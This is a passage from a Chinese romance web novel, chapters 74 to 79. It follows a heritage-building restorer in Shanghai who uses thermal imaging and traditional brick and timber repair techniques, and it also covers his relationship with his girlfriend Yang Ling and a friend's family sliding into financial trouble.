一个人开火,拉不动,那就多喊几个人来帮腔。 即使被开团的是自己。 “顾乔乔好大的魅力,结了婚的男人都跳出来当护花使者......” 没人会在熟人局饮酒的时候全程保持专注状态。 就像大朋友拿小水枪对射,一点水花罢了,谁会刻意防备他的‘挖坑’呢? 顾南乔急了,“别狗......闭嘴吧你,用得着别人帮忙吗?喝!” 阿乐也急了,“我去,服务大伙一晚上,评护花使者、你把我摘出去了?” 陈禹更急,“您晓不晓得我为什么晚上出来喝酒?话被颜颜听到了你小子等着吧!” 给了杨灵一个放心的眼神,便憋笑起身。 四个杯子,三男一女,碰! 陆砚可以断定三个男的全是演的,顾乔乔是不是就不知道了。 这就是,《出门在外男人互助协议》第一条,也是唯一一条: 该配合撑场面的时候尽力配合。 ...... 但也有失效的时候。 本来只想假模假式演个戏,把气氛吵起来便散了场。 独独没料到,阿乐,居然是真·护花使者。 本来就烦闷的陈禹见计划有变,立马跳反。 于是三个老油子间的默契如多米诺骨牌,一推就倒——等等,默契变阵也算默契! 最后一撺掇,一拱火,就没收住。 临了七分醉,陆砚帮忙扶顾南乔上车的时候,阿乐还追着找‘战友’要微信。 顾南乔给了。 第七十五章 不踏实与踏实 晨光刺破杨灵家的中空玻璃,睡觉忘关窗帘了。 身上懒洋洋的,陆砚脑中还在回放昨天的小聚。 失误频出的划拳、豪迈的饮酒,和后半场没人时、拿着话筒嚎叫的陈禹。 途中有波澜,但应是轻松的、愉悦的——他在给事情定性、分类,然后储存。 可......此刻为什么品出‘空虚’滋味了呢? 微信上,阿乐说‘一眼就看出对方是富家小姐,以后找机会抱大腿’。 这解释了男人帮短暂‘分裂’的原因,很合理。 陈禹喊人喝酒,后半段起哄很积极,或许是心中的烦闷施以伪装而成的‘积极’。 苏棠隐身得早,和杨灵坐在一旁。 顾南乔......顾乔乔癫惯了,确实大小姐做派,在想什么他也不知道。 陆砚翻身起床,卫生间摆着几天来一直在用的洗漱用品,都快习惯了。 众所周知,某些习惯的养成是堕落的征兆—— 今天一定不能这样,得睡进老洋房! 七点四十,洗完澡彻底清醒,熟练去厨房找吃的,顺便去看看杨灵。 “笃笃笃!” “进。” 杨灵穿着鲨鱼睡衣背对陆砚,鸭子坐在床上,浅浅回眸打招呼。 为什么身段可以这么柔软? 陆砚想着,把燕麦碗放床头柜上,顾南乔突然开口: “在我们静安区,被人看到——” “看到素颜了就非那个男人不嫁,对吧?” 她故意停顿,陆砚配合补充,成功复刻了上次在他家对话的场景。 这瞬间,是充实的。 “不行噢,乔乔,他是我男朋友呐。” 杨灵背着身,陆砚也晓得她心情不错。 或许全天下只有顾姓女子的挑逗和抢占贴身玩偶,能让杨灵不记小本本。 原来女子之间也有话本里、纯粹似刎颈之交的兄弟情——陆砚是如此感受的。 顾南乔听罢坏笑问:“哦?他是你男朋友,那我是你什么?” 她搂着小鲨鱼,目光越过眼前人,直指陆砚。 杨灵配合道:“另一个男朋友。” “不行哦灵灵,你是我女朋友!” 模仿杨灵的口吻,软绵绵抗议道。 能call back必须call,便是陆师傅幽默守则第一条,嗯,暂时先写一条。 “小姑娘过来睡,”找到了某种乐趣似的,拍拍身边的位置——亦是杨灵昨天睡的位置,说:“等我不在的时候,你才是他女朋友,晓得伐?” “晓得啦。” 是江南女子独有的吴言软语,如苏州评弹婉转、昆曲水磨调细腻。 杨灵侧躺过去,小腿细腻雪白的肌肤滑落,两人、两双眼神态相似地望向他。 而早晨,是个冲动的节点。 “男人额花言巧语习惯勒伐?覅拨伊拉轻易骗仔去,有事体喊阿姐帮侬撑腰,晓得了伐?(不要被骗,有事找我)” “晓得了呀~” 受不了了,夫前目......? 好男不跟女斗,得紧着时间去花店、老洋房了。 昨天换下的衣服杨灵说会帮他晾晒,走的时候踩着拖鞋跟后头,贴心捋了捋衣服——比没捋之前更乱。 认真又小声说:“以后喝酒不许欺负乔乔。” 他很无辜:“她冲得凶、我只是陪跑的呀。” 然而对方不听,并表示‘自己想办法’,总之就是不能让顾南乔再喝这么多。 “好好,你就帮另一位男朋友吧,我去赚钱养你们啦!” “等等!” 陆砚转头,以为会得到一个亲吻。 她说:“给苏棠发奖金,晓得了吧~” “额,晓得......了呀!” call! ...... 打车踩点到老洋房,小小苏棠蹲守在门口,背带裤依旧活力。 张野先一步凑上来,是来‘捞’冯小军的。 “陆哥你听我讲,哥们看人也有几分眼力.......” 铁艺栏杆上的紫藤花叶片转为淡黄色、进入蛰伏期,只待来年开春才会垂下满树繁花。 栏杆下面,看不出曾经栽种的什么,现由杂草讲述败落后的境况。 陆砚面上认真听着,直到他说‘这小子不是不讲义气的人,没准出车祸了呢’的时候,才回神笑出声。 “张哥,实习生嘛,来来去去很正常。” 见张野还准备把公事和‘哥们义气’混为一谈,陆砚搂着他肩膀往里走:“再说了,又不耽误咱做事,你这老师傅、台柱子可不能倒了。” 实习生给团队带来活力,然而不稳,走的时候还会把原带来的活力通通拿走。 一去一来,去去来来,他早就无感了。 然而有人不做此般想,苏棠有种兔死狐悲的伤感,说: “是,实习生可有可无,陆师傅昨天酒桌上可不是这么说的!” “...” 给苏棠加工资? 还不得上了天去! 忍住把她捉来敲清水墙的冲动,陆砚绕着外圈巡视。 一楼背光墙角处,青砖被岁月啃噬得棱角尽失。 墙根爬满青苔,砖缝间的砂浆大片剥落,露出黑洞洞的空隙。 二楼墙面更显斑驳,西侧山花处的砖雕已残缺不全,藤蔓从裂缝中钻出,将巴洛克风格的卷草纹缠绕得面目模糊。 他在思考一个问题: 如果说‘磨砖对缝’的清水墙之下,最大的毛病是渗水问题,那结构松散的渗漏点能否用红外线成像仪找出来呢? 相比之下,敲砖......似乎显得不专业。 他排斥一部分化学用品和会影响原貌的器械,但并不是无脑跟风站队的傻子。 走到东侧,抬头望。 东侧窗棂四周的墙面却宛如时光琥珀,保留了砖面的划痕与水渍构成的独特肌理,在光晕中流转着复古的质感。 进去换身工装短袖,开始工作吧。 ...... 顾南乔昨天‘身受重伤’,没去律所,须得两口子赔罪才行。 但早上头晕给忘了,便抓着杨灵让她伺候一天。 杨灵毕竟没有小时候好忽悠了,得找个由头吧? “都怪你家那位灌我酒,他的错,你担不担?” “担。” 不仅如此,她还上赶着认下来,乐呵呵的、仿佛拿了博士毕业证一样。 翻了个身,忍住没去翻左手边的书桌抽屉,嗅着熟悉的味道和......酒精味。 杨灵大概请假去了。 算算,十月份快请两回假,上次是陆砚家自己劝说的,这次为了陪自己。 顾南乔无不幸福地想着,她们的情谊可不是‘连车都要定制同款颜色’那么表面的。 纵使天崩地裂、纵使有天一无所有...... “灵灵。” “在的。” 隔着门,对方的声音很小,但听得见。 她起身的时候晃了晃,头晕差点没站稳,咽下想吐的冲动,说: “改天请我吃饭吧,咱们现在出去上班,时间刚刚好!” 杨灵推门探出头,“真的吗?” “真的。” “那我送你过去~” 第七十六章 睁眼看世界 这台巴掌大的设备像双透视眼。 液晶屏幕上,墙体温度以不同颜色呈现: 正常区域泛着均匀的蓝灰,而渗水点因水分蒸发吸热,显示出刺目的暗青色斑块。 无需问杨灵操作方法,比智能手机的使用易懂多了。 他把张野喊来见证奇迹的瞬间,两人从南走到北,从下爬到上,忙忙碌碌找‘宝藏’。 转到二楼西南角时,热像仪弹出话框,屏幕上顿时洇开一片墨色—— 正是那片常年挂着水痕的清水墙,肉眼看只是砖面发潮,在红外视野里,渗水路径却如同蛛网般清晰,从窗框下沿斜斜蔓延至墙根。 若说以前的方式是,瞎子摸黑,遇到坑、填上; 现在则是,瞎子睁了眼,飞机上俯瞰整座山脉,地势走向纤毫毕露。 对视一眼,张野摘下歪斜的头盔,微微吸气。 嗯,是凉气。 “曹!还是现代好,哥们再不回原始森林了!” “111,说得对。” 如果算数麻烦,那就用珠算算盘。 算盘拨了几千年,再抬头,居然有计算器!还接入了AI! 原本为算盘感到自豪的‘老人’顿时就变得喜欢‘偷懒’。 余华说过,‘苦难就是苦难,不值得歌颂’。 也没必要硬吃这苦! “保守起见,搞几块下来验证一下?” “搞!” 义务教育的数学技巧此刻在脑中跳动: 已知敲砖初步查验要三五天,绘制墙体病害分布图两天,精准纠察要一周左右...... 结果仪器在手,大半天能搞定一小半。 如果有日平均收入的话,两人少花一个星期,相当于赚了小一万块钱。 众人到手金额不变,但省时间就是赚钱,没毛病。 陆砚挑了块受潮酥化的砖准备动手。 先取出定制的錾子、撬棍,沿标记砖的灰缝轻轻楔入,配合橡胶锤敲击,利用杠杆原理将砖块逐块剥离。 “咚咚咚,咚咚咚。” 三敲一停,每次停顿,感受錾子传导的松紧,倾听周边砖体是否有松动的细微声响。 他年轻,却是个从业近八年的老手。 曾在3小时内完整拆除27块相邻旧砖,周边砂浆层破损率不足5%! 值得一提的是,清水砖和工地上的砖是截然不同的‘物种’。 前者多为手工模制,砖体存在细微尺寸偏差;后者,现代机制砖尺寸绝对规整。 因此新砖到了以后,需手工砍凿边角,模拟旧砖的不规则轮廓。 确保灰缝在8-12mm间变化的同时,按照传统‘五顺一丁’的砌筑工艺。 一抬眼,张野从楼下提了半袋防水砂浆上来。 “张哥?” “不用吗?” “...” 谁家裤子破了个洞,用铁皮来补? 嫌不够显眼吗? “暂时不用,谢谢。” 张野知道,清水墙的价值在于砖体本身的历史痕迹。 就像理想青年爱人类、却不爱生活中的某个人——具体一点的事情他便不清楚了。 例如武康大楼的清水砖墙,修复时必须定制与1920年代同批次黏土成分的砖块,确保砖面的橙红色泽与细微气孔结构一致,否则修复处会像‘补丁’般突兀。 “张哥,搞点麻刀、纸筋,要是没有就让苏棠去买。” “干嘛?” “教你砂浆的正确打开方式。” ...... 老周攥着锛子的手悬在半空,迟迟落不下去。 楼上敲了十分钟,对于他手里的精细活,连块指甲盖大的工程都来不及做。 眼前的民国彩绘雀替,缠枝莲纹的金线几乎褪成银灰色。 没坏的木头倒是硬朗得很,偏偏在枋柱交接处裂出半指宽的缝。 按老法子,该把裂缝两侧的木头削成燕尾榫,再嵌新料严丝合缝地补上。 可小赵那边的彩绘师父昨天特意来打过招呼: ‘周师傅,您修的时候千万留着表面,彩画起甲的地方一碰就掉渣’。 当时他回道‘尽量’。 和老实人打过交道的都明白,他们定不让你失望,总是拿出最大的诚意配合。 刨子在雀替表面蹭出极浅的木屑,像给褪色的牡丹描了层白边。 往常修木活讲究‘三分雕工七分磨’,可这次连砂纸都不敢用粗的。 裂缝深处的朽木得掏干净,又不能伤着外头的彩画层...... 又换了把修牙雕的小刻刀,刀尖一点点剜着腐木,木屑簌簌落在手脚架上,划过下头、小赵的巴望,落青砖地上。 “周哥,这处金线得保住。” 小赵踩上架子凑过来,呼出的气息吹动木灰。 老周心里直犯嘀咕,他说的‘金线’其实早没了金属光泽,只是彩画上一道凸起的棱线。 合作的时候免不了任务拉锯: 明明对方十分钟都能做的活,偏要分给你,让你花三天三夜搞个勉强合格的效果。 要是按原先的方案用锔子加固,这道线准得断。 可现在已经谈拢了,改用竹钉,强度至少弱三成! 嵌补新木料时更憋屈。 本该把新老木头的交接面刨得平整如镜,再用鱼鳔胶黏得严丝合缝,可拿颜料的反复叮嘱别磨过头。 最后只能让新料略低于原构件,等他们补完彩画再做修整,这么一来,榫卯的咬合力又打了折扣。 老周握着凿子的掌心沁出汗,老茧蹭得木柄沙沙响—— 干了三十多年木活,头回觉得自个儿像被捆住手脚的提线木偶。 ...... 为什么方案问题总是开不了口?拖延能解决问题吗? 液晶屏渐渐熄灭,太阳开始柔和。 记得在国庆打羽毛球那天,约定‘一起探索修缮的平衡点’。 如今杨灵送来的监测器数据在平板里跳动着。 日志里,只轻微找补漏洞,而非干涉。 她放手给机会,反观这边呢? ‘木构件加固工法不符《近现代建筑修缮标准》、自然通风方案未通过CFD气流模拟、手工测绘误差率超住建局规定阈值’。 当初停工整顿的主要争议里,安上监测器以后顶多能解决最后一个,其余两项......依然难。 木构件工法他们用的全是老法子,难改; 通风方案优化不可避免带来门窗破坏性改造,难办。 他为两人之间的约定努力了什么?妥协了什么? 陆砚头一回怀疑杨老头的观点: 所谓传统手艺,所谓古建风貌,真真是短时间内不容更变、革新、改进的吗? 里面掺不得一点点、违和的事物吗? “叮——” 手机响了。 杨灵发来消息说‘她下班了,马上过来’。 想起她,和她的温柔,连卡鲁冰期的坚冰都忍不住化成春日溪流。 陆砚在深深的沉闷中敲下答复—— 墨斗先生:洋房结束后,我也想接你下班。路上注意安全。(憨笑.jpg) 有些东西动摇了,并不意味着它脆弱和不坚定。 偶尔它会在一次次动摇中,变得更值得坚定、坚守。 但多数情况,不过是‘固执的偏见’罢了。 第七十七章 没有心平气和的恋爱 早上出门洗个澡,晚上约完会回......老洋房肯定得洗个澡。 傍晚工作结束,正在洗澡的陆砚微微一算,今天大概要洗三次。 出汗量大了,频率就高,频率高难免省略很多流程。 不消五分钟,他擦着头发出来,杏色针织开衫搭白底连衣裙的女人已经坐在折叠床上等他。 “哇,前面这位女士快闭眼,本人上衣还没归位!” 然而她并没有闭眼,靠拢过来直接上手,说: “下次记得拿衣服,要是别人看到了怎么办嘛。” “杨灵灵......你的手在做什么?” “帮你擦干净。” ...... 梧桐叶的清苦乘着晚风散落到淮海中路,仿佛西洋画卷中的街道,陆砚牵着杨灵成为其中风景之一。 空气因而变得香甜。 “杨小姐,咱们得多抽空出来走走,不然都不知道外面的世界发展如此之快。” 不同于老洋房的‘原滋原味’,这一带保留了法租界时的风格: 沿街的玻璃幕墙将中欧古典、欧陆新潮及跨世纪大都市建筑风格,皆有陈列。 比‘国外’更有‘国外’的味道。 “可是我昨天才和乔乔逛完街。” 尽管没必要谨慎,还是凑到他耳边,用挠痒痒的气力说道。 杨灵原准备下班后领着男友直奔家里,一起做饭、靠在沙发上说悄悄话,中途再补几道口红...... 每天两小时的任务今天还没完成呢! 所以被陆砚说她‘太宅’,一点都不服气。 但还是跟着出来了。 “昨天的事怎么能和今天混为一谈呢!” 捏了捏对方的手,看起来纤细却似春溪融雪柔软——女人就是如此神情的生物。 “而且多走走才不会辜负美食,一会想吃什么,你陆哥请客!” 当杨小姐卸下冷酷的外衣变成温柔家猫后,陆砚渐渐也不压制自己的本性。 众所周知,他就是这样一个乐观上进、富有娱乐精神的男人—— 即使面对身价比他高亿点点的女性,也不例外。 “嗯——,只要不是关东煮,吃饭我还是挺随和的。”她说。 眼尾微微向下,笑意将舒未舒。 喧嚣的街道背景覆盖话语中调侃的一面,落到耳里只有深深的感慨。 主动开玩笑的杨灵给他一种......木已成舟的感觉。 绕开灯光隧道,十指紧扣的两人往人更少的地方走。 “宝贝,再次澄清,我真没在关东煮办会员。” “那你刚开始为什么总请我吃这个?” “嘿嘿,谁让你是给我贴封条的人呢。” 对视中,陆砚肯定,她的眼中也闪过两人刚认识的模样。 回忆着回忆着,杨灵就来了气: “那时候你好过分!”说到这里专门停下,一步距离,掰起手指算账:“摔门、掀窗帘落我一身灰、大吼大叫,还拿激光笔照我......” 最开始咱就是一欣赏‘蒙娜丽莎’的游客,哪晓得画中人真能当我女朋友啊! 喊冤的同时,畅意情绪油然而生。 嗯,小妞记性不错,是在下错了。 “那样做是对的!”他说。 “什么?” “重来一千遍我也这么做!” 男人突如其来的硬气让接着算账小嘴停下来。 就像托付了全部身心的骑士,摘下面罩露出凶戾的笑容。 错愕、委屈下一秒就要从女人眼睛里升起时,陆砚怕玩脱了,赶紧补充:“如果我们会因此在一起的话。” 红灯,车流渐缓,路上变安静。 她皱了皱眉,并没有阴转晴。 ‘错愕’消失了,仍有‘委屈’盘踞。 本意是逗逗她,再对二人关系给予爱意表达,但...... 失误了。 两句之间间隔多了1.5秒,意思就断了! 细嫩皮肤,樱花果冻般的唇瓣,小巧挺立的鼻梁泛着珍珠般莹润光泽—— 娇嫩的花——这就是上海女人。 女人的友谊和男人的友谊同样可贵,形式上却大不相同。 好比陆砚骂张野,张野只会暗爽;骂沟槽的陈禹,会激得对方叛逆心大发。 但顾南乔从来不对杨灵说重话,即便有理有据,结尾也要温声细语安慰几句才算完整。 陆砚更是没有说过她半点不好——确实没什么地方可说的——但是语气稍稍重一些,也是不太行的。 索性他知道得早,立马将其搂在怀里亡羊补牢。 “亲亲的大美女,这是怎么了?月亮这么美,不要不开心啦。” “可是你刚才真的很凶!” 想起来了,杨小姐不仅是最好哄的那款,还是爱记仇和开不起玩笑的‘敏感’型女人。 随着两人关系变近,对方真情流露便多了些。 额......从积极方面讲,至少比生闷气、回去愁眉苦脸玩冷战、让你猜来猜去强不少。 不是吗? 想着想着竟觉得此刻冒出来点喜感,尽管让女朋友生了点小小的气。 要知道,同样是淋雨,冬天的冷雨和夏天的细细雨丝是截然不同的。 生气亦有大有小。 陆式情话说到一半,手掌就又被扣住了,柔软唇瓣覆上来—— 这便是夏天的细细雨丝,丝毫不影响出游的好心情。 前提是双向奔赴! 同志们仔细甄别! 炽热鼻息分离,小插曲结束。 循光亮处看去,中环广场的绿化带旁有个小地摊,摊主是个小姑娘。 当即牵着一个亲吻便阴转晴天的杨小姐漫步走去。 三十来步距离,路边三联书店和新华书店招牌灯一左一右映在两人身上。 陆砚说,两间书店借着他们紧扣的手相遇,也体会到了恋爱的滋味。 这个描述中,预设了一对隔岸相望的‘恋人’,虽不能至,却终日相伴。 身子倾过来蹭了蹭,杨灵表示很喜欢,就像写给她的句子一样浪漫。 她说每天做眼保健操的时候,会默念卡片上的句子; 还专门买了试剂,要在花枯萎之前保存起来; 不是情话,胜似情话,陆砚自愧不如,却洋洋得意。 地摊到了。 铺一块布,小石头压住四角,书包放腿边,端坐马扎,大学生模样。 也是卖花的。 不过是那种带着彩灯的塑料花,一闪一闪的。 “小哥哥,要给漂亮姐姐买花吗?” 开口便是高级销售的情商,嗯,是个老手。 但不影响心情。 陆砚摊前蹲下来,顿时摊主热情更甚: “我们这都是批发来的花,物美价廉,小哥哥可以选亮黄或粉红色灯的花噢。” 小姑娘把推荐的挪到近前,塑料薄膜内、鲜艳碎花包装纸搭配一根塑料系带。 闪着灯的塑料花无不透着廉价工艺的味道。 说实话,陆砚一点也不喜欢这种。 就像曾经带杨灵去吃关东煮一样,对方会接受,但自己都觉得拿不出手。 “不好意思,我们.......” “小哥哥,你和你女朋友颜值都这么高,肯定不介意成为人群焦点的。鲜花配美人,就买一束嘛~” 奈何对方赚的是吆喝的钱,此时不买都不好意思。 “好吧,可以。” 每日一亏,扫码! “谢谢小哥哥,帅哥就是大方!” 热情的声音从后方传来,直到付完款摊主还在提供情绪价值。 壮阔的大厦霓虹下,他却生不起半点被恭维的情绪。 生活应是对这个年轻的小朋友露出了怎样的面目,才会催得人如此‘成熟’? 二十岁左右的女孩,与此时一穷二白男孩是截然不同的剧本。 同样年轻且稚嫩,她们在社会评价体系中自带极大的价值,有更高的概率结识‘贵人’、体验相对更繁华的生活。 尽管随青春、美貌不再,社会亦会对其展露獠牙,但那是女孩很久以后才体验的事...... 她说着讨巧的话,看似市侩,陆砚却敬佩其内里的坚强、刚直。 这是买花的次要原因。 “花是假花,我喜欢你是真的。送给你。” 笑容挂嘴边,他侧看过去——一张写着‘我不高兴’的气闷小脸。 又怎么了? 生理期恐怖如斯? 第七十八章 消耗品 “怎么啦?” “我不喜欢你这样。” “啊?本以为杨小姐你是痴情女子,没想到还是我错付了。” 看着气鼓鼓的她,陆砚本以为小事,并觉得对方模样有点可爱、好笑,便没认真应对。 没成想杨灵的气越生越大。 最后竟是晚饭都不打算吃就要回去。 今天真是哪哪都得罪这姑奶奶了...... 生活不易,男人叹气! 陆砚也有情绪,却不会贸然突破理智。 沿街走过成排的法国梧桐,穿越环贸中心的广场,便是他们停车的地方。 笔直的人行道,一路上没说话,不过会有意在她余光里晃悠,让其知道: 大可往前走,他会哄,不会丢下不管。 这点非常重要。 记得有一回和林晚声吵架,也是负气离开,那会她以为陆砚没跟上来,最后走一路、哭一路。 天下总会有傻姑娘如此不善表达,明明在意,却骄傲到回头瞧一眼都不能...... 覆辙不可能重蹈! 他时而绕到左边打个响指,或者走到后面戳戳她的发尾。 对方没抗拒,也没停下来。 一路向前,街上男女不时扫过好奇的眼光。 后头的陆砚不知道对方是怎样的心情,渐渐有些烦躁。 往往这时,他语气会正常得像无事发生: “杨灵同志,再往前面走就是你最不想见到的关东煮咯。” 站停原地。 她接住了台阶。 于是烦躁消了一半,再次用爱意兑换耐心,说: “你饭量小没感觉,可你男朋友做的是体力活,不吃饭明天肯定没精神的。” 男人在示弱。 或者说,搭了个冠以‘同情’之名的轿子,让对方踩。 风刮过身侧。 理性的灵魂超脱在外,轻附耳边说: ‘用一次便少一点,直至情感消耗殆尽,两人不欢而散’。 渐渐暗下去的广场边,喷泉水柱时起时落,激起碎星般的水花。 几个年轻小孩打闹而过。 他也笑着。 嬉笑面孔下,压抑的情绪像蚀骨的火,灼烧着冷静的神经。 没有一个男人,喜欢这样! ...... 牵手不仅仅只是符号意义上、手握手那么简单。 东西已经放进老洋房的陆砚,又被要求跟来她家。 此刻杨灵蜷在怀里,发梢扫过锁骨,拇指轻轻摩挲他掌心的薄茧,又挨个扳动他的手指,看指节屈伸时的褶皱。 尾指不经意碰在一起,勾住他的指尖晃了晃,随后突然将整只手塞进掌心里,十根手指紧紧交缠,把两人掌心的空隙填得严严实实。 就像发现喜爱玩具的小孩子一样,她时而哼着细小又不明意义的笑声,仿佛是个笑点极低、而且是极其缺乏自控力的人。 陆砚只在小孩的眼中瞧见这么乌黑的瞳仁,细密的睫毛下水润而灵动,将他的手指挑动、来回翻动,专注看着指骨动向和上面每道纹路。 湿漉漉的目光里盛着化不开的温柔。 “我喜欢你。” “灵灵?” 又往怀里缩了缩,发烫的耳垂蹭着他的衬衫纽扣,睫毛垂下来,盯着交握的手一动不动,像要把此刻温度永远攥在手里。 她情绪扑灭得很快,起于对一个陌生女孩的醋意,散于男人的耐心和包容。 像是弥补,或者道歉,杨灵用最大的认真做了今天的晚餐——蔬菜沙拉,煎牛排和切盘水果——吃饭时将近九点,却执意一口一口亲手给他喂饭。 方才烦躁便溶解在‘认真’的温柔中,散了去。 颈部细嫩而沁香的肌肤他一一吻过。 心里对自己说,这段关系中有义务包容和引导对方,男人应该这样做。 不是吗? 双方喘息着,另一只手穿过腰间,轻轻按摸她的小腹。 没有阻拦。 只是对方发烫的脸颊表明,同意背后,是她独自咽下了害羞。 顿时动作愈发柔且缓,慢慢的,一寸寸、向触摸的细腻打招呼。 如同初来乍到的邻居、先混个脸熟,等过几天见的时候她便不会紧张。 嗯,朴素而实用的道理。 “陆砚,停一下。” “怎么了?” 抬起头,秀挺的鼻子就在眼前,其周围泛着情动的余韵。 “手......我有点难受......再等两天......” 几乎微不可闻的支吾中,陆砚也找到了共鸣。 他也难受,一天都不想等了。 可半是稚气半妩媚的眼睛眨了眨,泄露完全信任的依恋。 ......好吧,也许是时候去老洋房洗洗睡了。 “那我也去。” “宝宝,那边设施老旧,你就乖乖呆在家里,昂。” “不行!” 并非态度强硬的‘不行’。 她抱着不松手,就像树懒离不开桉树。 “亲爱的,呆在这里好不好,我现在需要你。” 女人生来就懂得如何让男人心甘情愿地顺从。 倘若在此刻这个视角、用此刻这个语气,说‘从28楼跳下去’,痴迷的大脑或许都会考虑一番。 脱口而出,就在呢喃声中应下了。 难受就难受吧! 月明星稀,宁静的夜晚。 本要睡客房的他,如今也被邀请入住主卧。 半身长的小鲨鱼横在两人中间。 渐渐适应幽香缠绵的房间,心头情热转为煲汤的火候时,杨灵已经沉稳睡去。 睡姿如同会有人检查,端正朝上,一丝不苟。 全然没有醒着那会黏人。 却是她全部真心托付后、不设防的模样。 此刻,有没有发生关系还重要吗? 额......从灵魂、精神方面来说。 杨灵,不仅是他见过最美,亦是最热烈、最真挚的女人。 某种意义上,犹如一个手握巨宝的赌徒,认准以后毫不犹豫押上了全部身家。 其实本不必如此的,陆砚想。 她是高飞的凤凰,非梧桐不止,非练实不食,非醴泉不饮。 只是因为没见过歪脖子树,出于好奇停留了一下......这颗歪脖子树就是我。 幸福之剧烈,让人晕乎乎的。 然而每每忍不住想要抛却所有克制、享受当下的前一秒,男人总会心慌—— 没有人在爱人面前是游刃有余自信大方的,随时间推移,他的真心在喜欢的人面前,开始自卑、恐慌。 ‘这样不对!’,它说: ‘放肆的热恋不仅会蒙蔽理智的双眼,还会迅速消磨两人的激情,最终走向命运的岔口’。 他带着和曾经一样的勇气与热烈迎接对方的满心欢喜时,理性又说: ‘都是一时的,偶尔需要克制、需要引导,唯有触及灵魂的感情才是牢固的’。 被爱裹挟的他回道: ‘去你二大爷的,哥们有数,过去犯过的错、吃过的亏已经够够的了,现在只想一路爱到终点’。 黑暗的房间,看不清模样,但她就在身侧,触手可及。 陆砚想,对方总是深情,男人又有什么理由退却呢? 没有的物质就去挣,要面对的问题就努力解决,又有什么难的呢? 再谨慎一点、再用心一点、再从心间挤出一点喜欢送给她...... 对与错实在太好分辨,却又太难选择。 夏天的冰淇淋,上学时、冬天的棉被,不外如是。 冰淇淋可以一直吃吗? 两个人可以任由抑不住的情欲一直左右吗? 有些问题陆砚不知道杨小姐是怎么想的。 原以为对方理性、克制,有规划、有主张。 现在看来真是如此吗? 他们之间,有灵魂吗? 第七十九章 入秋了 感觉到朦胧的水流声,陆砚缓缓醒来,鲨鱼公仔近在咫尺。 有种‘世界重开’后的感觉。 被子上,是熟悉得不能再熟悉的女人香,柔软的床垫无比贴合身体,还透气。 舒服是挺舒服,起床的难度直线上升。 “你醒了吗?” 透过半敞开的门仍能感受对方的活力。 毕竟睡姿那么好,准不会有噩梦找上她。 “嗯。起这么早呀?” 处于半开机状态,声音有点沉,手机显示七点四十。 不待多看一眼,急促的拖鞋汲地声夺走视线。 洗漱完、漾着明媚笑容的杨灵匆忙回到床上,掀开被子一角,在里挪腾,准确找到他的怀抱蹭上来。 靠近时,柔顺得像绸缎的发丝成了带细绒的羽毛,在胸口、下巴抵蹭,很温暖。 “早上好~” 怀里的人儿说。 说话时,声音先在狭仄的空间经受挤压后才传到陆砚耳朵里,听起来闷闷的,有点痒。 仿佛声音真的触到了心脏。 “宝贝,早上容易饿,你这是以身饲虎啊~” 身上的细微变化自然避不开紧贴一起的杨小姐,但她......不介意。 大有跃跃欲试的劲头。 想来是无知者不知所谓! 环住腰的手紧了紧,缝隙更小、贴合更大,柔而弹性的触感让血脉主动喷张。 令人冲动遐想的是,对方也抱得很紧。 若不是时间不对,完全可视作明晃晃的邀约了。 恋人上头莫不是如此。 他懂。 当机立断把手探进衣服...... “嘀嘀嘀,嘀嘀嘀——” “...” 为什么关键时刻总会被打扰? 逻辑说,因为印象深刻。 没错,此时是个‘让本没有起床气的人生气、让本该沉浸体验的人惊颤’的刺痛时刻。 所以印象深刻! 杨灵愤愤关掉闹钟,雪腻的脸颊略带绯红,而辗转间发梢又刮过陆砚的鼻子,惹得他一阵发笑。 “亲爱的不要去上班了好不好!” 嗔怪的声音自胸口传来。 此时对方感性占据了上风,但并不真希望你这样做。 切记: 女人一贯需要好听的话作为现实的补充,让幻想来安慰现实。 男人耐心而低沉的嗓音徐徐送进耳旁,手指缓缓顺过她的发。 这便是杨灵衷心渴望的早晨。 ...... 冯小军无故旷了两天班。 不管张野怎么婉转,陆砚眼里,事实就是如此。 人们常说工作时要时要有颗‘看客心’,管他宴宾客、起高楼,不要影响该做的事。 而他们这行是‘看客中的看客’。 工期长、环境差、事情多、工资慢,来来往往多少人,岂能一一留恋? 所幸重要的人始终在身边。 “张哥!” 张野回头,口里嚼着茶叶蛋,这会正在吐碎鸡蛋壳。 “下周台风,咱俩守在这?” “漏,漏怕不楞!” 好家伙,中式英文说得挺溜。 外国人在这,肯定听不懂! 总之,有张野作陪后,那几天不会孤单了应该。 上海位于长江入海口位置,地图上属于沿海中的沿海。 台风这类事物就像‘夏天平均十场雨里面、有一两场会打雷’那样稀松平常。 人们早就习惯了。 但人习惯不意味着工作也会适应天气。 他们是给老洋房‘插上呼吸机’的人,有义务尽力应对突发状况可能带来的损毁。 还有,这次好像是什么超大型台风,不知道吹到上海还有几分威力。 “陆师傅,你过来一下。” 另一头,小小苏棠不由分说下达命令,负责人兼带证老木作师傅的陆砚自然听指挥。 “之前你给的三个联系人有两个打不通,剩下一个转行了。还有,”她滑动手机,弹出群聊页面,“四个建材商的群里,就一个群有活人。” 乍听起来像诈骗受害者的自述,偏偏陆砚本人也一头雾水。 他向来没有藏一手的习惯——而且这些渠道也不用藏,全是之前合作过的熟人。 要知道,和他们接触,是杨启文亲自牵的头! 那几位基本属于建材商里的老资历、老江湖。 会不会是微信突然更新,他们玩不转手机? ......可电话打不通就奇怪了呀。 陆砚表示知道了,让她先把这几天的进度和老金那买的东西记录好,便起身出门给杨老头打去电话。 ...... ‘父母再有本事,也是会老,会失误,会落马,会破产的。’ ‘乔乔,你要晓得,富人圈里有个不成文的规定,真正的成功不是看自己,而是看孩子甚至孙子’。 ‘只有暴发户才会相信,自己的财富可以够后面吃两代、三代,他们因为刚刚有钱,刚刚爬到上一个阶层,对游戏节奏和风险一无所知。’ 顾明远逼她学法律前,所说的话一字不落地在顾南乔脑里回荡。 静安别墅,一楼客厅,黄花梨棋桌前。 顾明远摘下眼镜稳稳放好,和往常一样的阳光以一样的角度打在两人身上。 他说:“要起风了,乔乔,秋天的衣服买好没。” 难得一见的关心口吻。 而顾南乔指尖发冷,法庭上据理力争的嗓子一个字都蹦不出来。 今早,‘旗忠高尔夫球会会员资格已被注销,期待与您再度相遇’的短信发到她手机里,便再无睡意。 某个最不愿见到的结果,将要被压根没去几次的球场短信揭晓。 每每想到可能发生的事情,都仿佛有种愚人节开玩笑的荒诞感。 可,笑不出来。 她不知道她是什么感受。 “你放心,爸爸留在信托里的钱一分不会少,只是暂时取不出来......再不济,还有保险嘛,生存金总是少不了的......” 他曾说,买东西别还价,人家赚几个钱不容易,还价,没腔调。 现在,他说:“咱家先过几年苦日子。” ...... 